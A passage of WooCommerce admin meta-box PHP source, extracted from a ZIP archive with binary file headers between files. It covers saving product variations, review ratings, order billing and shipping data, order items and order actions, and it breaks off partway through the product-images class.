						'backorders'        => isset( $_POST['variable_backorders'], $_POST['variable_backorders'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_backorders'][ $i ] ) ) : null,
						'stock_status'      => isset( $_POST['variable_stock_status'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_stock_status'][ $i ] ) ) : null,
						'image_id'          => isset( $_POST['upload_image_id'][ $i ] ) ? wc_clean( wp_unslash( $_POST['upload_image_id'][ $i ] ) ) : null,
						'attributes'        => self::prepare_set_attributes( $parent->get_attributes(), 'attribute_', $i ),
						'sku'               => isset( $_POST['variable_sku'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_sku'][ $i ] ) ) : '',
						'weight'            => isset( $_POST['variable_weight'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_weight'][ $i ] ) ) : '',
						'length'            => isset( $_POST['variable_length'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_length'][ $i ] ) ) : '',
						'width'             => isset( $_POST['variable_width'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_width'][ $i ] ) ) : '',
						'height'            => isset( $_POST['variable_height'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_height'][ $i ] ) ) : '',
						'shipping_class_id' => isset( $_POST['variable_shipping_class'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_shipping_class'][ $i ] ) ) : null,
						'tax_class'         => isset( $_POST['variable_tax_class'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_tax_class'][ $i ] ) ) : null,
					)
				);

				if ( is_wp_error( $errors ) ) {
					WC_Admin_Meta_Boxes::add_error( $errors->get_error_message() );
				}

				/**
				 * Set variation props before save.
				 *
				 * @param object $variation WC_Product_Variation object.
				 * @param int $i
				 * @since 3.8.0
				 */
				do_action( 'woocommerce_admin_process_variation_object', $variation, $i );

				$variation->save();
				do_action( 'woocommerce_save_product_variation', $variation_id, $i );
			}
		}
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}
}
PK�3\p��>��0meta-boxes/class-wc-meta-box-product-reviews.phpnu�[���<?php
/**
 * Product Reviews
 *
 * Functions for displaying product reviews data meta box.
 *
 * @package WooCommerce\Admin\Meta Boxes
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Meta_Box_Product_Reviews
 */
class WC_Meta_Box_Product_Reviews {

	/**
	 * Output the metabox.
	 *
	 * @param object $comment Comment being shown.
	 */
	public static function output( $comment ) {
		wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' );

		$current = get_comment_meta( $comment->comment_ID, 'rating', true );
		?>
		<select name="rating" id="rating">
			<?php
			for ( $rating = 1; $rating <= 5; $rating ++ ) {
				printf( '<option value="%1$s"%2$s>%1$s</option>', $rating, selected( $current, $rating, false ) ); // WPCS: XSS ok.
			}
			?>
		</select>
		<?php
	}

	/**
	 * Save meta box data
	 *
	 * @param mixed $data Data to save.
	 * @return mixed
	 */
	public static function save( $data ) {
		// Not allowed, return regular value without updating meta.
		if ( ! isset( $_POST['woocommerce_meta_nonce'], $_POST['rating'] ) || ! wp_verify_nonce( wp_unslash( $_POST['woocommerce_meta_nonce'] ), 'woocommerce_save_data' ) ) { // WPCS: input var ok, sanitization ok.
			return $data;
		}

		if ( $_POST['rating'] > 5 || $_POST['rating'] < 0 ) { // WPCS: input var ok.
			return $data;
		}

		$comment_id = $data['comment_ID'];

		update_comment_meta( $comment_id, 'rating', intval( wp_unslash( $_POST['rating'] ) ) ); // WPCS: input var ok.

		// Return regular value after updating.
		return $data;
	}
}
PK�3\需�tUtU+meta-boxes/class-wc-meta-box-order-data.phpnu�[���<?php
/**
 * Order Data
 *
 * Functions for displaying the order data meta box.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.2.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Meta_Box_Order_Data Class.
 */
class WC_Meta_Box_Order_Data {

	/**
	 * Billing fields.
	 *
	 * @var array
	 */
	protected static $billing_fields = array();

	/**
	 * Shipping fields.
	 *
	 * @var array
	 */
	protected static $shipping_fields = array();

	/**
	 * Init billing and shipping fields we display + save.
	 */
	public static function init_address_fields() {

		self::$billing_fields = apply_filters(
			'woocommerce_admin_billing_fields',
			array(
				'first_name' => array(
					'label' => __( 'First name', 'woocommerce' ),
					'show'  => false,
				),
				'last_name'  => array(
					'label' => __( 'Last name', 'woocommerce' ),
					'show'  => false,
				),
				'company'    => array(
					'label' => __( 'Company', 'woocommerce' ),
					'show'  => false,
				),
				'address_1'  => array(
					'label' => __( 'Address line 1', 'woocommerce' ),
					'show'  => false,
				),
				'address_2'  => array(
					'label' => __( 'Address line 2', 'woocommerce' ),
					'show'  => false,
				),
				'city'       => array(
					'label' => __( 'City', 'woocommerce' ),
					'show'  => false,
				),
				'postcode'   => array(
					'label' => __( 'Postcode / ZIP', 'woocommerce' ),
					'show'  => false,
				),
				'country'    => array(
					'label'   => __( 'Country / Region', 'woocommerce' ),
					'show'    => false,
					'class'   => 'js_field-country select short',
					'type'    => 'select',
					'options' => array( '' => __( 'Select a country / region&hellip;', 'woocommerce' ) ) + WC()->countries->get_allowed_countries(),
				),
				'state'      => array(
					'label' => __( 'State / County', 'woocommerce' ),
					'class' => 'js_field-state select short',
					'show'  => false,
				),
				'email'      => array(
					'label' => __( 'Email address', 'woocommerce' ),
				),
				'phone'      => array(
					'label' => __( 'Phone', 'woocommerce' ),
				),
			)
		);

		self::$shipping_fields = apply_filters(
			'woocommerce_admin_shipping_fields',
			array(
				'first_name' => array(
					'label' => __( 'First name', 'woocommerce' ),
					'show'  => false,
				),
				'last_name'  => array(
					'label' => __( 'Last name', 'woocommerce' ),
					'show'  => false,
				),
				'company'    => array(
					'label' => __( 'Company', 'woocommerce' ),
					'show'  => false,
				),
				'address_1'  => array(
					'label' => __( 'Address line 1', 'woocommerce' ),
					'show'  => false,
				),
				'address_2'  => array(
					'label' => __( 'Address line 2', 'woocommerce' ),
					'show'  => false,
				),
				'city'       => array(
					'label' => __( 'City', 'woocommerce' ),
					'show'  => false,
				),
				'postcode'   => array(
					'label' => __( 'Postcode / ZIP', 'woocommerce' ),
					'show'  => false,
				),
				'country'    => array(
					'label'   => __( 'Country / Region', 'woocommerce' ),
					'show'    => false,
					'type'    => 'select',
					'class'   => 'js_field-country select short',
					'options' => array( '' => __( 'Select a country / region&hellip;', 'woocommerce' ) ) + WC()->countries->get_shipping_countries(),
				),
				'state'      => array(
					'label' => __( 'State / County', 'woocommerce' ),
					'class' => 'js_field-state select short',
					'show'  => false,
				),
				'phone'      => array(
					'label' => __( 'Phone', 'woocommerce' ),
				),
			)
		);
	}

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post
	 */
	public static function output( $post ) {
		global $theorder;

		if ( ! is_object( $theorder ) ) {
			$theorder = wc_get_order( $post->ID );
		}

		$order = $theorder;

		self::init_address_fields();

		if ( WC()->payment_gateways() ) {
			$payment_gateways = WC()->payment_gateways->payment_gateways();
		} else {
			$payment_gateways = array();
		}

		$payment_method = $order->get_payment_method();

		$order_type_object = get_post_type_object( $post->post_type );
		wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' );
		?>
		<style type="text/css">
			#post-body-content, #titlediv { display:none }
		</style>
		<div class="panel-wrap woocommerce">
			<input name="post_title" type="hidden" value="<?php echo empty( $post->post_title ) ? __( 'Order', 'woocommerce' ) : esc_attr( $post->post_title ); ?>" />
			<input name="post_status" type="hidden" value="<?php echo esc_attr( $post->post_status ); ?>" />
			<div id="order_data" class="panel woocommerce-order-data">
				<h2 class="woocommerce-order-data__heading">
					<?php

					/* translators: 1: order type 2: order number */
					printf(
						esc_html__( '%1$s #%2$s details', 'woocommerce' ),
						esc_html( $order_type_object->labels->singular_name ),
						esc_html( $order->get_order_number() )
					);

					?>
				</h2>
				<p class="woocommerce-order-data__meta order_number">
					<?php

					$meta_list = array();

					if ( $payment_method && 'other' !== $payment_method ) {
						/* translators: %s: payment method */
						$payment_method_string = sprintf(
							__( 'Payment via %s', 'woocommerce' ),
							esc_html( isset( $payment_gateways[ $payment_method ] ) ? $payment_gateways[ $payment_method ]->get_title() : $payment_method )
						);

						if ( $transaction_id = $order->get_transaction_id() ) {
							if ( isset( $payment_gateways[ $payment_method ] ) && ( $url = $payment_gateways[ $payment_method ]->get_transaction_url( $order ) ) ) {
								$payment_method_string .= ' (<a href="' . esc_url( $url ) . '" target="_blank">' . esc_html( $transaction_id ) . '</a>)';
							} else {
								$payment_method_string .= ' (' . esc_html( $transaction_id ) . ')';
							}
						}

						$meta_list[] = $payment_method_string;
					}

					if ( $order->get_date_paid() ) {
						/* translators: 1: date 2: time */
						$meta_list[] = sprintf(
							__( 'Paid on %1$s @ %2$s', 'woocommerce' ),
							wc_format_datetime( $order->get_date_paid() ),
							wc_format_datetime( $order->get_date_paid(), get_option( 'time_format' ) )
						);
					}

					if ( $ip_address = $order->get_customer_ip_address() ) {
						/* translators: %s: IP address */
						$meta_list[] = sprintf(
							__( 'Customer IP: %s', 'woocommerce' ),
							'<span class="woocommerce-Order-customerIP">' . esc_html( $ip_address ) . '</span>'
						);
					}

					echo wp_kses_post( implode( '. ', $meta_list ) );

					?>
				</p>
				<div class="order_data_column_container">
					<div class="order_data_column">
						<h3><?php esc_html_e( 'General', 'woocommerce' ); ?></h3>

						<p class="form-field form-field-wide">
							<label for="order_date"><?php _e( 'Date created:', 'woocommerce' ); ?></label>
							<input type="text" class="date-picker" name="order_date" maxlength="10" value="<?php echo esc_attr( date_i18n( 'Y-m-d', strtotime( $post->post_date ) ) ); ?>" pattern="<?php echo esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ); ?>" />@
							&lrm;
							<input type="number" class="hour" placeholder="<?php esc_attr_e( 'h', 'woocommerce' ); ?>" name="order_date_hour" min="0" max="23" step="1" value="<?php echo esc_attr( date_i18n( 'H', strtotime( $post->post_date ) ) ); ?>" pattern="([01]?[0-9]{1}|2[0-3]{1})" />:
							<input type="number" class="minute" placeholder="<?php esc_attr_e( 'm', 'woocommerce' ); ?>" name="order_date_minute" min="0" max="59" step="1" value="<?php echo esc_attr( date_i18n( 'i', strtotime( $post->post_date ) ) ); ?>" pattern="[0-5]{1}[0-9]{1}" />
							<input type="hidden" name="order_date_second" value="<?php echo esc_attr( date_i18n( 's', strtotime( $post->post_date ) ) ); ?>" />
						</p>

						<p class="form-field form-field-wide wc-order-status">
							<label for="order_status">
								<?php
								_e( 'Status:', 'woocommerce' );
								if ( $order->needs_payment() ) {
									printf(
										'<a href="%s">%s</a>',
										esc_url( $order->get_checkout_payment_url() ),
										__( 'Customer payment page &rarr;', 'woocommerce' )
									);
								}
								?>
							</label>
							<select id="order_status" name="order_status" class="wc-enhanced-select">
								<?php
								$statuses = wc_get_order_statuses();
								foreach ( $statuses as $status => $status_name ) {
									echo '<option value="' . esc_attr( $status ) . '" ' . selected( $status, 'wc-' . $order->get_status( 'edit' ), false ) . '>' . esc_html( $status_name ) . '</option>';
								}
								?>
							</select>
						</p>

						<p class="form-field form-field-wide wc-customer-user">
							<!--email_off--> <!-- Disable CloudFlare email obfuscation -->
							<label for="customer_user">
								<?php
								_e( 'Customer:', 'woocommerce' );
								if ( $order->get_user_id( 'edit' ) ) {
									$args = array(
										'post_status'    => 'all',
										'post_type'      => 'shop_order',
										'_customer_user' => $order->get_user_id( 'edit' ),
									);
									printf(
										'<a href="%s">%s</a>',
										esc_url( add_query_arg( $args, admin_url( 'edit.php' ) ) ),
										' ' . __( 'View other orders &rarr;', 'woocommerce' )
									);
									printf(
										'<a href="%s">%s</a>',
										esc_url( add_query_arg( 'user_id', $order->get_user_id( 'edit' ), admin_url( 'user-edit.php' ) ) ),
										' ' . __( 'Profile &rarr;', 'woocommerce' )
									);
								}
								?>
							</label>
							<?php
							$user_string = '';
							$user_id     = '';
							if ( $order->get_user_id() ) {
								$user_id = absint( $order->get_user_id() );
								$user    = get_user_by( 'id', $user_id );
								/* translators: 1: user display name 2: user ID 3: user email */
								$user_string = sprintf(
									esc_html__( '%1$s (#%2$s &ndash; %3$s)', 'woocommerce' ),
									$user->display_name,
									absint( $user->ID ),
									$user->user_email
								);
							}
							?>
							<select class="wc-customer-search" id="customer_user" name="customer_user" data-placeholder="<?php esc_attr_e( 'Guest', 'woocommerce' ); ?>" data-allow_clear="true">
								<option value="<?php echo esc_attr( $user_id ); ?>" selected="selected"><?php echo htmlspecialchars( wp_kses_post( $user_string ) ); // htmlspecialchars to prevent XSS when rendered by selectWoo. ?></option>
							</select>
							<!--/email_off-->
						</p>
						<?php do_action( 'woocommerce_admin_order_data_after_order_details', $order ); ?>
					</div>
					<div class="order_data_column">
						<h3>
							<?php esc_html_e( 'Billing', 'woocommerce' ); ?>
							<a href="#" class="edit_address"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a>
							<span>
								<a href="#" class="load_customer_billing" style="display:none;"><?php esc_html_e( 'Load billing address', 'woocommerce' ); ?></a>
							</span>
						</h3>
						<div class="address">
							<?php

							// Display values.
							if ( $order->get_formatted_billing_address() ) {
								echo '<p>' . wp_kses( $order->get_formatted_billing_address(), array( 'br' => array() ) ) . '</p>';
							} else {
								echo '<p class="none_set"><strong>' . __( 'Address:', 'woocommerce' ) . '</strong> ' . __( 'No billing address set.', 'woocommerce' ) . '</p>';
							}

							foreach ( self::$billing_fields as $key => $field ) {
								if ( isset( $field['show'] ) && false === $field['show'] ) {
									continue;
								}

								$field_name = 'billing_' . $key;

								if ( isset( $field['value'] ) ) {
									$field_value = $field['value'];
								} elseif ( is_callable( array( $order, 'get_' . $field_name ) ) ) {
									$field_value = $order->{"get_$field_name"}( 'edit' );
								} else {
									$field_value = $order->get_meta( '_' . $field_name );
								}

								if ( 'billing_phone' === $field_name ) {
									$field_value = wc_make_phone_clickable( $field_value );
								} elseif ( 'billing_email' === $field_name ) {
									$field_value = '<a href="' . esc_url( 'mailto:' . $field_value ) . '">' . $field_value . '</a>';
								} else {
									$field_value = make_clickable( esc_html( $field_value ) );
								}

								if ( $field_value ) {
									echo '<p><strong>' . esc_html( $field['label'] ) . ':</strong> ' . wp_kses_post( $field_value ) . '</p>';
								}
							}
							?>
						</div>

						<div class="edit_address">
							<?php

							// Display form.
							foreach ( self::$billing_fields as $key => $field ) {
								if ( ! isset( $field['type'] ) ) {
									$field['type'] = 'text';
								}
								if ( ! isset( $field['id'] ) ) {
									$field['id'] = '_billing_' . $key;
								}

								$field_name = 'billing_' . $key;

								if ( ! isset( $field['value'] ) ) {
									if ( is_callable( array( $order, 'get_' . $field_name ) ) ) {
										$field['value'] = $order->{"get_$field_name"}( 'edit' );
									} else {
										$field['value'] = $order->get_meta( '_' . $field_name );
									}
								}

								switch ( $field['type'] ) {
									case 'select':
										woocommerce_wp_select( $field );
										break;
									default:
										woocommerce_wp_text_input( $field );
										break;
								}
							}
							?>
							<p class="form-field form-field-wide">
								<label><?php esc_html_e( 'Payment method:', 'woocommerce' ); ?></label>
								<select name="_payment_method" id="_payment_method" class="first">
									<option value=""><?php esc_html_e( 'N/A', 'woocommerce' ); ?></option>
									<?php
									$found_method = false;

									foreach ( $payment_gateways as $gateway ) {
										if ( 'yes' === $gateway->enabled ) {
											echo '<option value="' . esc_attr( $gateway->id ) . '" ' . selected( $payment_method, $gateway->id, false ) . '>' . esc_html( $gateway->get_title() ) . '</option>';
											if ( $payment_method == $gateway->id ) {
												$found_method = true;
											}
										}
									}

									if ( ! $found_method && ! empty( $payment_method ) ) {
										echo '<option value="' . esc_attr( $payment_method ) . '" selected="selected">' . esc_html__( 'Other', 'woocommerce' ) . '</option>';
									} else {
										echo '<option value="other">' . esc_html__( 'Other', 'woocommerce' ) . '</option>';
									}
									?>
								</select>
							</p>
							<?php

							woocommerce_wp_text_input(
								array(
									'id'    => '_transaction_id',
									'label' => __( 'Transaction ID', 'woocommerce' ),
									'value' => $order->get_transaction_id( 'edit' ),
								)
							);
							?>

						</div>
						<?php do_action( 'woocommerce_admin_order_data_after_billing_address', $order ); ?>
					</div>
					<div class="order_data_column">
						<h3>
							<?php esc_html_e( 'Shipping', 'woocommerce' ); ?>
							<a href="#" class="edit_address"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a>
							<span>
								<a href="#" class="load_customer_shipping" style="display:none;"><?php esc_html_e( 'Load shipping address', 'woocommerce' ); ?></a>
								<a href="#" class="billing-same-as-shipping" style="display:none;"><?php esc_html_e( 'Copy billing address', 'woocommerce' ); ?></a>
							</span>
						</h3>
						<div class="address">
							<?php

							// Display values.
							if ( $order->get_formatted_shipping_address() ) {
								echo '<p>' . wp_kses( $order->get_formatted_shipping_address(), array( 'br' => array() ) ) . '</p>';
							} else {
								echo '<p class="none_set"><strong>' . __( 'Address:', 'woocommerce' ) . '</strong> ' . __( 'No shipping address set.', 'woocommerce' ) . '</p>';
							}

							if ( ! empty( self::$shipping_fields ) ) {
								foreach ( self::$shipping_fields as $key => $field ) {
									if ( isset( $field['show'] ) && false === $field['show'] ) {
										continue;
									}

									$field_name = 'shipping_' . $key;

									if ( is_callable( array( $order, 'get_' . $field_name ) ) ) {
										$field_value = $order->{"get_$field_name"}( 'edit' );
									} else {
										$field_value = $order->get_meta( '_' . $field_name );
									}

									if ( 'shipping_phone' === $field_name ) {
										$field_value = wc_make_phone_clickable( $field_value );
									}

									if ( $field_value ) {
										echo '<p><strong>' . esc_html( $field['label'] ) . ':</strong> ' . wp_kses_post( $field_value ) . '</p>';
									}
								}
							}

							if ( apply_filters( 'woocommerce_enable_order_notes_field', 'yes' == get_option( 'woocommerce_enable_order_comments', 'yes' ) ) && $post->post_excerpt ) {
								echo '<p class="order_note"><strong>' . __( 'Customer provided note:', 'woocommerce' ) . '</strong> ' . nl2br( esc_html( $post->post_excerpt ) ) . '</p>';
							}
							?>
						</div>
						<div class="edit_address">
							<?php

							// Display form.
							if ( ! empty( self::$shipping_fields ) ) {
								foreach ( self::$shipping_fields as $key => $field ) {
									if ( ! isset( $field['type'] ) ) {
										$field['type'] = 'text';
									}
									if ( ! isset( $field['id'] ) ) {
										$field['id'] = '_shipping_' . $key;
									}

									$field_name = 'shipping_' . $key;

									if ( is_callable( array( $order, 'get_' . $field_name ) ) ) {
										$field['value'] = $order->{"get_$field_name"}( 'edit' );
									} else {
										$field['value'] = $order->get_meta( '_' . $field_name );
									}

									switch ( $field['type'] ) {
										case 'select':
											woocommerce_wp_select( $field );
											break;
										default:
											woocommerce_wp_text_input( $field );
											break;
									}
								}
							}

							if ( apply_filters( 'woocommerce_enable_order_notes_field', 'yes' == get_option( 'woocommerce_enable_order_comments', 'yes' ) ) ) :
								?>
								<p class="form-field form-field-wide">
									<label for="excerpt"><?php _e( 'Customer provided note', 'woocommerce' ); ?>:</label>
									<textarea rows="1" cols="40" name="excerpt" tabindex="6" id="excerpt" placeholder="<?php esc_attr_e( 'Customer notes about the order', 'woocommerce' ); ?>"><?php echo wp_kses_post( $post->post_excerpt ); ?></textarea>
								</p>
							<?php endif; ?>
						</div>

						<?php do_action( 'woocommerce_admin_order_data_after_shipping_address', $order ); ?>
					</div>
				</div>
				<div class="clear"></div>
			</div>
		</div>
		<?php
	}

	/**
	 * Save meta box data.
	 *
	 * @param int $order_id Order ID.
	 */
	public static function save( $order_id ) {
		self::init_address_fields();

		// Ensure gateways are loaded in case they need to insert data into the emails.
		WC()->payment_gateways();
		WC()->shipping();

		// Get order object.
		$order = wc_get_order( $order_id );
		$props = array();

		// Create order key.
		if ( ! $order->get_order_key() ) {
			$props['order_key'] = wc_generate_order_key();
		}

		// Update customer.
		$customer_id = isset( $_POST['customer_user'] ) ? absint( $_POST['customer_user'] ) : 0;
		if ( $customer_id !== $order->get_customer_id() ) {
			$props['customer_id'] = $customer_id;
		}

		// Update billing fields.
		if ( ! empty( self::$billing_fields ) ) {
			foreach ( self::$billing_fields as $key => $field ) {
				if ( ! isset( $field['id'] ) ) {
					$field['id'] = '_billing_' . $key;
				}

				if ( ! isset( $_POST[ $field['id'] ] ) ) {
					continue;
				}

				if ( is_callable( array( $order, 'set_billing_' . $key ) ) ) {
					$props[ 'billing_' . $key ] = wc_clean( wp_unslash( $_POST[ $field['id'] ] ) );
				} else {
					$order->update_meta_data( $field['id'], wc_clean( wp_unslash( $_POST[ $field['id'] ] ) ) );
				}
			}
		}

		// Update shipping fields.
		if ( ! empty( self::$shipping_fields ) ) {
			foreach ( self::$shipping_fields as $key => $field ) {
				if ( ! isset( $field['id'] ) ) {
					$field['id'] = '_shipping_' . $key;
				}

				if ( ! isset( $_POST[ $field['id'] ] ) ) {
					continue;
				}

				if ( is_callable( array( $order, 'set_shipping_' . $key ) ) ) {
					$props[ 'shipping_' . $key ] = wc_clean( wp_unslash( $_POST[ $field['id'] ] ) );
				} else {
					$order->update_meta_data( $field['id'], wc_clean( wp_unslash( $_POST[ $field['id'] ] ) ) );
				}
			}
		}

		if ( isset( $_POST['_transaction_id'] ) ) {
			$props['transaction_id'] = wc_clean( wp_unslash( $_POST['_transaction_id'] ) );
		}

		// Payment method handling.
		if ( $order->get_payment_method() !== wp_unslash( $_POST['_payment_method'] ) ) {
			$methods              = WC()->payment_gateways->payment_gateways();
			$payment_method       = wc_clean( wp_unslash( $_POST['_payment_method'] ) );
			$payment_method_title = $payment_method;

			if ( isset( $methods ) && isset( $methods[ $payment_method ] ) ) {
				$payment_method_title = $methods[ $payment_method ]->get_title();
			}

			if ( $payment_method == 'other') {
				$payment_method_title = esc_html__( 'Other', 'woocommerce' );
			}
			
			$props['payment_method']       = $payment_method;
			$props['payment_method_title'] = $payment_method_title;
		}

		// Update date.
		if ( empty( $_POST['order_date'] ) ) {
			$date = time();
		} else {
			$date = gmdate( 'Y-m-d H:i:s', strtotime( $_POST['order_date'] . ' ' . (int) $_POST['order_date_hour'] . ':' . (int) $_POST['order_date_minute'] . ':' . (int) $_POST['order_date_second'] ) );
		}

		$props['date_created'] = $date;

		// Set created via prop if new post.
		if ( isset( $_POST['original_post_status'] ) && $_POST['original_post_status'] === 'auto-draft' ) {
			$props['created_via'] = 'admin';
		}

		// Save order data.
		$order->set_props( $props );
		$order->set_status( wc_clean( wp_unslash( $_POST['order_status'] ) ), '', true );
		$order->save();
	}
}
PK�3\���V

,meta-boxes/class-wc-meta-box-order-items.phpnu�[���<?php
/**
 * Order Data
 *
 * Functions for displaying the order items meta box.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Meta_Box_Order_Items Class.
 */
class WC_Meta_Box_Order_Items {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post
	 */
	public static function output( $post ) {
		global $post, $thepostid, $theorder;

		if ( ! is_int( $thepostid ) ) {
			$thepostid = $post->ID;
		}

		if ( ! is_object( $theorder ) ) {
			$theorder = wc_get_order( $thepostid );
		}

		$order = $theorder;
		$data  = get_post_meta( $post->ID );

		include __DIR__ . '/views/html-order-items.php';
	}

	/**
	 * Save meta box data.
	 *
	 * @param int $post_id
	 */
	public static function save( $post_id ) {
		/**
		 * This $_POST variable's data has been validated and escaped
		 * inside `wc_save_order_items()` function.
		 */
		wc_save_order_items( $post_id, $_POST );
	}
}
PK�3\��c�aa.meta-boxes/class-wc-meta-box-order-actions.phpnu�[���<?php
/**
 * Order Actions
 *
 * Functions for displaying the order actions meta box.
 *
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Meta_Box_Order_Actions Class.
 */
class WC_Meta_Box_Order_Actions {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post Post object.
	 */
	public static function output( $post ) {
		global $theorder;

		// This is used by some callbacks attached to hooks such as woocommerce_order_actions which rely on the global to determine if actions should be displayed for certain orders.
		// Avoid using this global with the `woocommerce_order_actions` filter, instead use the $order filter arg.
		if ( ! is_object( $theorder ) ) {
			$theorder = wc_get_order( $post->ID );
		}

		$theorder = $theorder instanceof WC_Order ? $theorder : null;
		$order_actions = self::get_available_order_actions_for_order( $theorder );
		?>
		<ul class="order_actions submitbox">

			<?php do_action( 'woocommerce_order_actions_start', $post->ID ); ?>

			<li class="wide" id="actions">
				<select name="wc_order_action">
					<option value=""><?php esc_html_e( 'Choose an action...', 'woocommerce' ); ?></option>
					<?php foreach ( $order_actions as $action => $title ) { ?>
						<option value="<?php echo esc_attr( $action ); ?>"><?php echo esc_html( $title ); ?></option>
					<?php } ?>
				</select>
				<button class="button wc-reload"><span><?php esc_html_e( 'Apply', 'woocommerce' ); ?></span></button>
			</li>

			<li class="wide">
				<div id="delete-action">
					<?php
					if ( current_user_can( 'delete_post', $post->ID ) ) {

						if ( ! EMPTY_TRASH_DAYS ) {
							$delete_text = __( 'Delete permanently', 'woocommerce' );
						} else {
							$delete_text = __( 'Move to Trash', 'woocommerce' );
						}
						?>
						<a class="submitdelete deletion" href="<?php echo esc_url( get_delete_post_link( $post->ID ) ); ?>"><?php echo esc_html( $delete_text ); ?></a>
						<?php
					}
					?>
				</div>

				<button type="submit" class="button save_order button-primary" name="save" value="<?php echo 'auto-draft' === $post->post_status ? esc_attr__( 'Create', 'woocommerce' ) : esc_attr__( 'Update', 'woocommerce' ); ?>"><?php echo 'auto-draft' === $post->post_status ? esc_html__( 'Create', 'woocommerce' ) : esc_html__( 'Update', 'woocommerce' ); ?></button>
			</li>

			<?php do_action( 'woocommerce_order_actions_end', $post->ID ); ?>

		</ul>
		<?php
	}

	/**
	 * Save meta box data.
	 *
	 * @param int     $post_id Post ID.
	 * @param WP_Post $post Post Object.
	 */
	public static function save( $post_id, $post ) {
		// Order data saved, now get it so we can manipulate status.
		$order = wc_get_order( $post_id );

		// Handle button actions.
		if ( ! empty( $_POST['wc_order_action'] ) ) { // @codingStandardsIgnoreLine

			$action = wc_clean( wp_unslash( $_POST['wc_order_action'] ) ); // @codingStandardsIgnoreLine

			if ( 'send_order_details' === $action ) {
				do_action( 'woocommerce_before_resend_order_emails', $order, 'customer_invoice' );

				// Send the customer invoice email.
				WC()->payment_gateways();
				WC()->shipping();
				WC()->mailer()->customer_invoice( $order );

				// Note the event.
				$order->add_order_note( __( 'Order details manually sent to customer.', 'woocommerce' ), false, true );

				do_action( 'woocommerce_after_resend_order_email', $order, 'customer_invoice' );

				// Change the post saved message.
				add_filter( 'redirect_post_location', array( __CLASS__, 'set_email_sent_message' ) );

			} elseif ( 'send_order_details_admin' === $action ) {

				do_action( 'woocommerce_before_resend_order_emails', $order, 'new_order' );

				WC()->payment_gateways();
				WC()->shipping();
				add_filter( 'woocommerce_new_order_email_allows_resend', '__return_true' );
				WC()->mailer()->emails['WC_Email_New_Order']->trigger( $order->get_id(), $order, true );
				remove_filter( 'woocommerce_new_order_email_allows_resend', '__return_true' );

				do_action( 'woocommerce_after_resend_order_email', $order, 'new_order' );

				// Change the post saved message.
				add_filter( 'redirect_post_location', array( __CLASS__, 'set_email_sent_message' ) );

			} elseif ( 'regenerate_download_permissions' === $action ) {

				$data_store = WC_Data_Store::load( 'customer-download' );
				$data_store->delete_by_order_id( $post_id );
				wc_downloadable_product_permissions( $post_id, true );

			} else {

				if ( ! did_action( 'woocommerce_order_action_' . sanitize_title( $action ) ) ) {
					do_action( 'woocommerce_order_action_' . sanitize_title( $action ), $order );
				}
			}
		}
	}

	/**
	 * Set the correct message ID.
	 *
	 * @param string $location Location.
	 * @since  2.3.0
	 * @static
	 * @return string
	 */
	public static function set_email_sent_message( $location ) {
		return add_query_arg( 'message', 11, $location );
	}

	/**
	 * Get the available order actions for a given order.
	 *
	 * @since 5.8.0
	 *
	 * @param WC_Order|null $order The order object or null if no order is available.
	 *
	 * @return array
	 */
	private static function get_available_order_actions_for_order( $order ) {
		$actions = array(
			'send_order_details'              => __( 'Email invoice / order details to customer', 'woocommerce' ),
			'send_order_details_admin'        => __( 'Resend new order notification', 'woocommerce' ),
			'regenerate_download_permissions' => __( 'Regenerate download permissions', 'woocommerce' ),
		);

		/**
		 * Filter: woocommerce_order_actions
		 * Allows filtering of the available order actions for an order.
		 *
		 * @since 2.1.0 Filter was added.
		 * @since 5.8.0 The $order param was added.
		 *
		 * @param array         $actions The available order actions for the order.
		 * @param WC_Order|null $order   The order object or null if no order is available.
		 */
		return apply_filters( 'woocommerce_order_actions', $actions, $order );
	}
}
PK�3\�<UZ�
�
/meta-boxes/class-wc-meta-box-product-images.phpnu�[���<?php
/**
 * Product Images
 *
 * Display the product images meta box.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Meta_Box_Product_Images Class.
 */
class WC_Meta_Box_Product_Images {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post
	 */
	public static function output( $post ) {
		global $thepostid, $product_object;

		$thepostid      = $post->ID;
		$product_object = $thepostid ? wc_get_product( $thepostid ) : new WC_Product();
		wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' );
		?>
		<div id="product_images_container">
			<ul class="product_images">
				<?php
				$product_image_gallery = $product_object->get_gallery_image_ids( 'edit' );

				$attachments         = array_filter( $product_image_gallery );
				$update_meta         = false;
				$updated_gallery_ids = array();

				if ( ! empty( $attachments ) ) {
					foreach ( $attachments as $attachment_id ) {
						$attachment = wp_get_attachment_image( $attachment_id, 'thumbnail' );

